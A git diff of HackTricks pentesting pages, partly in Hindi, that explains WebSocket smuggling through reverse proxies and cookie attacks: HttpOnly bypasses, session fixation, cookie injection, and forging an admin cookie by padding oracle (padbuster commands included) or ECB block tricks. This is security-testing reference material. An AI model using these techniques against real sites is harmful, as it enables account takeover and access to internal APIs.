परिदृश्य में, एक बैकएंड जो एक सार्वजनिक WebSocket API के साथ एक अनुपलब्ध आंतरिक REST API प्रदान करता है, एक दुर्भावनापूर्ण क्लाइंट द्वारा लक्षित किया जाता है जो आंतरिक REST API तक पहुँच प्राप्त करने की कोशिश कर रहा है। हमला कई चरणों में विकसित होता है: +In this scenario, a backend that offers a public WebSocket API alongside an inaccessible internal REST API is targeted by a malicious client seeking access to the internal REST API. The attack unfolds in several steps: -1. क्लाइंट एक गलत `Sec-WebSocket-Version` प्रोटोकॉल संस्करण के साथ रिवर्स प्रॉक्सी को एक अपग्रेड अनुरोध भेजकर शुरू करता है। प्रॉक्सी, `Sec-WebSocket-Version` हेडर को मान्य करने में विफल रहते हुए, अपग्रेड अनुरोध को मान्य मानती है और इसे बैकएंड को अग्रेषित करती है। -2. बैकएंड `426` स्थिति कोड के साथ प्रतिक्रिया करता है, जो `Sec-WebSocket-Version` हेडर में गलत प्रोटोकॉल संस्करण को इंगित करता है। रिवर्स प्रॉक्सी, बैकएंड की प्रतिक्रिया स्थिति को नजरअंदाज करते हुए, WebSocket संचार के लिए तत्परता मानती है और प्रतिक्रिया को क्लाइंट को भेजती है। -3. परिणामस्वरूप, रिवर्स प्रॉक्सी को यह विश्वास दिलाया जाता है कि क्लाइंट और बैकएंड के बीच एक WebSocket कनेक्शन स्थापित हो गया है, जबकि वास्तव में, बैकएंड ने अपग्रेड अनुरोध को अस्वीकार कर दिया था। फिर भी, प्रॉक्सी क्लाइंट और बैकएंड के बीच एक खुला TCP या TLS कनेक्शन बनाए रखती है, जिससे क्लाइंट को इस कनेक्शन के माध्यम से निजी REST API तक बिना किसी प्रतिबंध के पहुँच मिलती है। +1. The client initiates by sending an Upgrade request to the reverse proxy with an incorrect `Sec-WebSocket-Version` protocol version in the header. The proxy, failing to validate the `Sec-WebSocket-Version` header, believes the Upgrade request to be valid and forwards it to the backend. +2. The backend responds with a status code `426`, indicating the incorrect protocol version in the `Sec-WebSocket-Version` header. The reverse proxy, overlooking the backend's response status, assumes readiness for WebSocket communication and relays the response to the client. +3. Consequently, the reverse proxy is misled into believing a WebSocket connection has been established between the client and backend, while in reality, the backend had rejected the Upgrade request. Despite this, the proxy maintains an open TCP or TLS connection between the client and backend, allowing the client unrestricted access to the private REST API through this connection. -प्रभावित रिवर्स प्रॉक्सी में Varnish शामिल है, जिसने इस मुद्दे को संबोधित करने से इनकार कर दिया, और Envoy प्रॉक्सी संस्करण 1.8.0 या उससे पुराने, जिनके बाद के संस्करणों ने अपग्रेड तंत्र को बदल दिया है। अन्य प्रॉक्सी भी संवेदनशील हो सकते हैं। +Affected reverse proxies include Varnish, which declined to address the issue, and Envoy proxy version 1.8.0 or older, with later versions having altered the upgrade mechanism. Other proxies may also be susceptible. ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png) ### Scenario 2 -यह परिदृश्य एक बैकएंड को शामिल करता है जिसमें एक सार्वजनिक WebSocket API और स्वास्थ्य जांच के लिए एक सार्वजनिक REST API है, साथ ही एक अनुपलब्ध आंतरिक REST API है। हमला, जो अधिक जटिल है, निम्नलिखित चरणों में शामिल है: +This scenario involves a backend with both a public WebSocket API and a public REST API for health checking, along with an inaccessible internal REST API. The attack, more complex, involves the following steps: -1. क्लाइंट स्वास्थ्य जांच API को सक्रिय करने के लिए एक POST अनुरोध भेजता है, जिसमें एक अतिरिक्त HTTP हेडर `Upgrade: websocket` शामिल होता है। NGINX, जो रिवर्स प्रॉक्सी के रूप में कार्य करता है, इसे केवल `Upgrade` हेडर के आधार पर एक मानक अपग्रेड अनुरोध के रूप में व्याख्या करता है, अनुरोध के अन्य पहलुओं की अनदेखी करता है, और इसे बैकएंड को अग्रेषित करता है। -2. बैकएंड स्वास्थ्य जांच API को निष्पादित करता है, एक बाहरी संसाधन से संपर्क करता है जिसे हमलावर द्वारा नियंत्रित किया जाता है जो `101` स्थिति कोड के साथ एक HTTP प्रतिक्रिया लौटाता है। यह प्रतिक्रिया, जब बैकएंड द्वारा प्राप्त होती है और NGINX को अग्रेषित की जाती है, प्रॉक्सी को यह सोचने के लिए धोखा देती है कि एक WebSocket कनेक्शन स्थापित हो गया है क्योंकि यह केवल स्थिति कोड की मान्यता करता है। +1. The client sends a POST request to trigger the health check API, including an additional HTTP header `Upgrade: websocket`. NGINX, serving as the reverse proxy, interprets this as a standard Upgrade request based solely on the `Upgrade` header, neglecting the request's other aspects, and forwards it to the backend. +2. The backend executes the health check API, reaching out to an external resource controlled by the attacker that returns a HTTP response with status code `101`. This response, once received by the backend and forwarded to NGINX, deceives the proxy into thinking a WebSocket connection has been established due to its validation of only the status code. ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png) -> **Warning:** इस तकनीक की जटिलता बढ़ जाती है क्योंकि इसे एक ऐसे एंडपॉइंट के साथ बातचीत करने की क्षमता की आवश्यकता होती है जो स्थिति कोड 101 लौटाने में सक्षम हो। +> **Warning:** This technique's complexity increases as it requires the ability to interact with an endpoint capable of returning a status code 101. -अंततः, NGINX को यह विश्वास दिलाया जाता है कि क्लाइंट और बैकएंड के बीच एक WebSocket कनेक्शन मौजूद है। वास्तव में, ऐसा कोई कनेक्शन नहीं है; स्वास्थ्य जांच REST API लक्ष्य था। फिर भी, रिवर्स प्रॉक्सी कनेक्शन को खुला रखती है, जिससे क्लाइंट को इसके माध्यम से निजी REST API तक पहुँच प्राप्त होती है। +Ultimately, NGINX is tricked into believing a WebSocket connection exists between the client and the backend. In reality, no such connection exists; the health check REST API was the target. Nevertheless, the reverse proxy maintains the connection open, enabling the client to access the private REST API through it. ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png) -अधिकांश रिवर्स प्रॉक्सी इस परिदृश्य के प्रति संवेदनशील हैं, लेकिन शोषण एक बाहरी SSRF भेद्यता की उपस्थिति पर निर्भर करता है, जिसे आमतौर पर एक निम्न-गंभीरता समस्या माना जाता है। +Most reverse proxies are vulnerable to this scenario, but exploitation is contingent upon the presence of an external SSRF vulnerability, typically regarded as a low-severity issue. #### Labs -दोनों परिदृश्यों का परीक्षण करने के लिए प्रयोगशालाओं की जाँच करें [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) +Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) ### References @@ -112,12 +104,6 @@ Websocket स्मगलिंग, प्रॉक्सी के माध् * [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md index 4efe6e6a2..2e8e01a05 100644 --- a/pentesting-web/hacking-with-cookies/README.md +++ b/pentesting-web/hacking-with-cookies/README.md @@ -15,33 +15,26 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## Cookie Attributes -कुकीज़ कई विशेषताओं के साथ आती हैं जो उपयोगकर्ता के ब्राउज़र में उनके व्यवहार को नियंत्रित करती हैं। यहाँ इन विशेषताओं का एक संक्षिप्त विवरण है: +कुकीज़ कई विशेषताओं के साथ आती हैं जो उनके व्यवहार को उपयोगकर्ता के ब्राउज़र में नियंत्रित करती हैं। यहाँ इन विशेषताओं का एक संक्षिप्त विवरण है: ### Expires and Max-Age -कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित होती है। इसके विपरीत, `Max-age` विशेषता उस समय को सेकंड में परिभाषित करती है जब तक एक कुकी हटा दी जाती है। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।** +कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित की जाती है। इसके विपरीत, `Max-age` विशेषता उस समय को सेकंड में परिभाषित करती है जब तक एक कुकी हटा नहीं दी जाती। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।** ### Domain -कुकी प्राप्त करने वाले होस्ट `Domain` विशेषता द्वारा निर्दिष्ट होते हैं। डिफ़ॉल्ट रूप से, यह उस होस्ट पर सेट होता है जिसने कुकी जारी की, इसके उपडोमेन को शामिल नहीं करता। हालाँकि, जब `Domain` विशेषता स्पष्ट रूप से सेट की जाती है, तो यह उपडोमेन को भी शामिल करती है। यह `Domain` विशेषता के निर्दिष्ट करने को एक कम प्रतिबंधात्मक विकल्प बनाता है, जो उन परिदृश्यों के लिए उपयोगी है जहाँ उपडोमेन के बीच कुकी साझा करना आवश्यक है। उदाहरण के लिए, `Domain=mozilla.org` सेट करने से इसकी उपडोमेन जैसे `developer.mozilla.org` पर कुकीज़ सुलभ हो जाती हैं। +कुकी प्राप्त करने वाले होस्ट को `Domain` विशेषता द्वारा निर्दिष्ट किया जाता है। डिफ़ॉल्ट रूप से, इसे उस होस्ट पर सेट किया जाता है जिसने कुकी जारी की, इसके उपडोमेन को शामिल नहीं किया जाता है। हालाँकि, जब `Domain` विशेषता स्पष्ट रूप से सेट की जाती है, तो यह उपडोमेन को भी शामिल करती है। यह `Domain` विशेषता के निर्दिष्ट करने को एक कम प्रतिबंधात्मक विकल्प बनाता है, जो उन परिदृश्यों के लिए उपयोगी है जहाँ उपडोमेन के बीच कुकी साझा करना आवश्यक है। उदाहरण के लिए, `Domain=mozilla.org` सेट करने से इसकी उपडोमेन जैसे `developer.mozilla.org` पर कुकीज़ सुलभ हो जाती हैं। ### Path -`Path` विशेषता उस विशिष्ट URL पथ को इंगित करती है जो अनुरोधित URL में होना चाहिए ताकि `Cookie` हेडर भेजा जा सके। यह विशेषता `/` वर्ण को एक निर्देशिका विभाजक के रूप में मानती है, जिससे उपनिर्देशिकाओं में मेल खाने की अनुमति मिलती है। +`Path` विशेषता द्वारा एक विशिष्ट URL पथ को इंगित किया जाता है जो अनुरोधित URL में होना चाहिए ताकि `Cookie` हेडर भेजा जा सके। यह विशेषता `/` वर्ण को एक निर्देशिका विभाजक के रूप में मानती है, जिससे उपनिर्देशिकाओं में मेल खाने की अनुमति मिलती है। ### Ordering Rules -जब दो कुकीज़ का नाम समान होता है, तो भेजने के लिए चुनी गई कुकी इस आधार पर होती है: +जब दो कुकीज़ का नाम समान होता है, तो भेजने के लिए चुनी गई कुकी इस पर आधारित होती है: * अनुरोधित URL में सबसे लंबे पथ से मेल खाने वाली कुकी। * यदि पथ समान हैं, तो सबसे हाल में सेट की गई कुकी। @@ -80,8 +73,8 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook #### **Bypasses** * यदि पृष्ठ **अनुरोधों के उत्तर के रूप में कुकीज़ भेज रहा है** (उदाहरण के लिए एक **PHPinfo** पृष्ठ में), तो XSS का दुरुपयोग करके इस पृष्ठ पर अनुरोध भेजना और **उत्तर से कुकीज़ चुराना** संभव है (एक उदाहरण देखें [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)). -* इसे **TRACE** **HTTP** अनुरोधों के साथ बायपास किया जा सकता है क्योंकि सर्वर से उत्तर में भेजी गई कुकीज़ को दर्शाया जाएगा (यदि यह HTTP विधि उपलब्ध है)। इस तकनीक को **Cross-Site Tracking** कहा जाता है। -* आधुनिक ब्राउज़रों द्वारा **JS से TRACE** अनुरोध भेजने की अनुमति न देकर इस तकनीक को टाला जाता है। हालाँकि, IE6.0 SP2 के लिए `TRACE` के बजाय `\r\nTRACE` भेजने जैसे विशिष्ट सॉफ़्टवेयर में कुछ बायपास पाए गए हैं। +* इसे **TRACE** **HTTP** अनुरोधों के साथ बायपास किया जा सकता है क्योंकि सर्वर से उत्तर कुकीज़ को दर्शाएगा। इस तकनीक को **Cross-Site Tracking** कहा जाता है। +* आधुनिक ब्राउज़रों द्वारा **JS से TRACE** अनुरोध भेजने की अनुमति न देकर इस तकनीक को टाला जाता है। हालाँकि, IE6.0 SP2 के लिए `TRACE` के बजाय `\r\nTRACE` भेजने जैसे कुछ बायपास विशेष सॉफ़्टवेयर में पाए गए हैं। * एक और तरीका ब्राउज़रों की शून्य/दिन की कमजोरियों का शोषण करना है। * कुकी जार ओवरफ्लो हमले को अंजाम देकर **HttpOnly कुकीज़ को ओवरराइट करना** संभव है: @@ -93,7 +86,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook ### Secure -अनुरोध केवल तभी कुकी भेजेगा जब अनुरोध एक सुरक्षित चैनल (आमतौर पर **HTTPS**) के माध्यम से प्रसारित किया गया हो। +अनुरोध केवल तभी HTTP अनुरोध में कुकी भेजेगा जब अनुरोध एक सुरक्षित चैनल (आमतौर पर **HTTPS**) के माध्यम से प्रसारित किया गया हो। ## Cookies Prefixes @@ -106,7 +99,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook * इन्हें एक डोमेन निर्दिष्ट करने की अनुमति नहीं है, जिससे उपडोमेन में उनके संचरण को रोका जा सके। * इन कुकीज़ के लिए पथ को `/` पर सेट किया जाना चाहिए। -यह महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है। +यह ध्यान रखना महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है। ### Overwriting cookies @@ -114,7 +107,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
-या PHP में कुकी नाम की शुरुआत में **अन्य वर्ण जोड़ना** संभव था जो **अंडरस्कोर** वर्णों द्वारा **बदल दिए जाएंगे**, जिससे `__HOST-` कुकीज़ को ओवरराइट करने की अनुमति मिलती है: +या PHP में कुकी नाम के प्रारंभ में **अन्य वर्ण जोड़ना** संभव था जो **अंडरस्कोर** वर्णों द्वारा **बदले जाने वाले थे**, जिससे `__HOST-` कुकीज़ को ओवरराइट करने की अनुमति मिलती थी:
@@ -124,7 +117,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook ### Decoding and Manipulating Cookies -कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है, उनके संशोधित डेटा को कुकी में वापस एन्कोड करके। +कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है, उनके संशोधित डेटा को फिर से कुकी में एन्कोड करके। ### Session Hijacking @@ -134,7 +127,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook इस परिदृश्य में, एक हमलावर एक पीड़ित को एक विशिष्ट कुकी का उपयोग करके लॉग इन करने के लिए धोखा देता है। यदि एप्लिकेशन लॉगिन पर एक नई कुकी असाइन नहीं करता है, तो हमलावर, जिसके पास मूल कुकी है, पीड़ित का अनुकरण कर सकता है। यह तकनीक इस पर निर्भर करती है कि पीड़ित हमलावर द्वारा प्रदान की गई कुकी के साथ लॉग इन करता है। -यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, तो पढ़ें: +यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, पढ़ें: {% content-ref url="cookie-tossing.md" %} [cookie-tossing.md](cookie-tossing.md) @@ -144,7 +137,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook यहाँ, हमलावर पीड़ित को हमलावर की सत्र कुकी का उपयोग करने के लिए मनाता है। पीड़ित, यह मानते हुए कि वे अपने खाते में लॉग इन हैं, अनजाने में हमलावर के खाते के संदर्भ में क्रियाएँ करेगा। -यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, तो पढ़ें: +यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, पढ़ें: {% content-ref url="cookie-tossing.md" %} [cookie-tossing.md](cookie-tossing.md) @@ -152,13 +145,13 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook ### [JWT Cookies](../hacking-jwt-json-web-tokens.md) -संभावित दोषों को समझाने वाले पृष्ठ तक पहुँचने के लिए पिछले लिंक पर क्लिक करें। +JWT में संभावित दोषों को समझाने वाले पृष्ठ तक पहुँचने के लिए पिछले लिंक पर क्लिक करें। कुकीज़ में उपयोग किए जाने वाले JSON वेब टोकन (JWT) भी कमजोरियाँ प्रस्तुत कर सकते हैं। संभावित दोषों और उन्हें शोषित करने के तरीकों के बारे में गहन जानकारी के लिए, JWT हैकिंग पर लिंक किए गए दस्तावेज़ तक पहुँचने की सिफारिश की जाती है। ### Cross-Site Request Forgery (CSRF) -यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो स्वचालित रूप से कमजोर साइट के साथ हर अनुरोध के साथ भेजी जाती हैं। +यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ निष्पादित करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो स्वचालित रूप से कमजोर साइट के साथ हर अनुरोध के साथ भेजी जाती हैं। ### Empty Cookies @@ -194,13 +187,13 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` #### कुकी इंजेक्शन कमजोरियाँ -(अधिक जानकारी के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) सर्वरों द्वारा कुकीज़ का गलत पार्सिंग, विशेष रूप से Undertow, Zope, और जो Python के `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, कुकी इंजेक्शन हमलों के लिए अवसर पैदा करता है। ये सर्वर नए कुकीज़ की शुरुआत को सही तरीके से सीमित नहीं करते, जिससे हमलावरों को कुकीज़ को स्पूफ करने की अनुमति मिलती है: +(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) सर्वरों द्वारा कुकीज़ का गलत पार्सिंग, विशेष रूप से Undertow, Zope, और जो Python के `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, कुकी इंजेक्शन हमलों के लिए अवसर पैदा करता है। ये सर्वर नए कुकीज़ की शुरुआत को सही तरीके से सीमित नहीं करते, जिससे हमलावरों को कुकीज़ को स्पूफ करने की अनुमति मिलती है: * Undertow एक उद्धृत मान के तुरंत बाद एक नए कुकी की अपेक्षा करता है बिना सेमीकोलन के। -* Zope अगले कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है। +* Zope अगली कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है। * Python की कुकी कक्षाएँ एक स्पेस कैरेक्टर पर पार्सिंग शुरू करती हैं। -यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जिससे सुरक्षा उपायों को बायपास किया जा सकता है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड कर देती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाता है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकता है। +यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जिससे सुरक्षा उपायों को बायपास किया जा सकता है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड करती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाती है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकता है। ### अतिरिक्त कमजोर कुकीज़ जांचें @@ -208,21 +201,21 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; * **कुकी** हर बार जब आप **लॉगिन** करते हैं तो **एक जैसी** होती है। * लॉग आउट करें और उसी कुकी का उपयोग करने की कोशिश करें। -* एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ लॉग इन करने का प्रयास करें, उसी कुकी का उपयोग करते हुए। +* एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ उसी कुकी का उपयोग करके लॉगिन करने का प्रयास करें। * जांचें कि क्या कुकी में कोई जानकारी है और इसे संशोधित करने का प्रयास करें। * लगभग समान उपयोगकर्ता नाम के साथ कई खाते बनाने का प्रयास करें और देखें कि क्या आप समानताएँ देख सकते हैं। * यदि "**मुझे याद रखें**" विकल्प मौजूद है, तो देखें कि यह कैसे काम करता है। यदि यह मौजूद है और कमजोर हो सकता है, तो हमेशा **मुझे याद रखें** की कुकी का उपयोग करें बिना किसी अन्य कुकी के। -* जांचें कि क्या पिछले कुकी का काम करता है, भले ही आप पासवर्ड बदल दें। +* जांचें कि क्या पिछले कुकी का काम करता है भले ही आप पासवर्ड बदल दें। #### **उन्नत कुकी हमले** -यदि कुकी लॉग इन करते समय समान (या लगभग समान) रहती है, तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं: +यदि कुकी लॉगिन करते समय समान (या लगभग समान) रहती है, तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं: * बहुत सारे **खाते** बनाने का प्रयास करें जिनके उपयोगकर्ता नाम बहुत **समान** हैं और यह अनुमान लगाने की कोशिश करें कि एल्गोरिदम कैसे काम कर रहा है। -* **उपयोगकर्ता नाम को ब्रूटफोर्स** करने का प्रयास करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए एक प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप उपयोगकर्ता नाम "**Bmin**" के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएँगे उनमें से एक "**admin**" की होगी। -* **पैडिंग** **ओरैकल** का प्रयास करें (आप कुकी की सामग्री को डिक्रिप्ट कर सकते हैं)। **पैडबस्टर** का उपयोग करें। +* **उपयोगकर्ता नाम को ब्रूटफोर्स** करने का प्रयास करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए एक प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप उपयोगकर्ता नाम "**Bmin**" के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएंगे उनमें से एक "**admin**" की होगी। +* **पैडिंग** **ओरकल** का प्रयास करें (आप कुकी की सामग्री को डिक्रिप्ट कर सकते हैं)। **पैडबस्टर** का उपयोग करें। -**पैडिंग ओरैकल - पैडबस्टर उदाहरण** +**पैडिंग ओरकल - पैडबस्टर उदाहरण** ```bash padbuster # When cookies and regular Base64 @@ -240,7 +233,7 @@ Padbuster कई प्रयास करेगा और आपसे पू ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` -यह निष्पादन आपको कुकी को सही ढंग से एन्क्रिप्ट और एन्कोड करेगा जिसमें स्ट्रिंग **user=administrator** होगी। +यह निष्पादन आपको सही ढंग से एन्क्रिप्ट और एन्कोड किया गया कुकी देगा जिसमें स्ट्रिंग **user=administrator** शामिल है। **CBC-MAC** @@ -254,14 +247,14 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB **ECB** -यदि कुकी को ECB का उपयोग करके एन्क्रिप्ट किया गया है, तो यह कमजोर हो सकता है।\ -जब आप लॉग इन करते हैं, तो आपको जो कुकी मिलती है, वह हमेशा एक समान होनी चाहिए। +यदि कुकी को ECB का उपयोग करके एन्क्रिप्ट किया गया है तो यह कमजोर हो सकता है।\ +जब आप लॉग इन करते हैं, तो आपको जो कुकी मिलती है वह हमेशा समान होनी चाहिए। **कैसे पता करें और हमला करें:** लगभग समान डेटा (उपयोगकर्ता नाम, पासवर्ड, ईमेल, आदि) के साथ 2 उपयोगकर्ता बनाएं और दिए गए कुकी के अंदर कुछ पैटर्न खोजने की कोशिश करें। -उदाहरण के लिए "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" नाम का एक उपयोगकर्ता बनाएं और देखें कि क्या कुकी में कोई पैटर्न है (जैसे ECB हर ब्लॉक को एक ही कुंजी के साथ एन्क्रिप्ट करता है, यदि उपयोगकर्ता नाम एन्क्रिप्ट किया गया है तो समान एन्क्रिप्टेड बाइट्स दिखाई दे सकते हैं)। +उदाहरण के लिए "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" नाम का एक उपयोगकर्ता बनाएं और देखें कि क्या कुकी में कोई पैटर्न है (चूंकि ECB हर ब्लॉक को समान कुंजी के साथ एन्क्रिप्ट करता है, यदि उपयोगकर्ता नाम एन्क्रिप्ट किया गया है तो समान एन्क्रिप्टेड बाइट्स दिखाई दे सकते हैं)। एक पैटर्न होना चाहिए (एक उपयोग किए गए ब्लॉक के आकार के साथ)। इसलिए, यह जानकर कि "a" का एक गुच्छा कैसे एन्क्रिप्ट किया गया है, आप एक उपयोगकर्ता नाम बना सकते हैं: "a"\*(ब्लॉक का आकार)+"admin"। फिर, आप कुकी से "a" के एक ब्लॉक के एन्क्रिप्टेड पैटर्न को हटा सकते हैं। और आपके पास उपयोगकर्ता नाम "admin" की कुकी होगी। @@ -270,11 +263,6 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB * [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) * [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/pentesting-web/postmessage-vulnerabilities/README.md b/pentesting-web/postmessage-vulnerabilities/README.md index a62342c6b..c33d3e10f 100644 --- a/pentesting-web/postmessage-vulnerabilities/README.md +++ b/pentesting-web/postmessage-vulnerabilities/README.md @@ -3,33 +3,20 @@ ## PostMessage Vulnerabilities {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
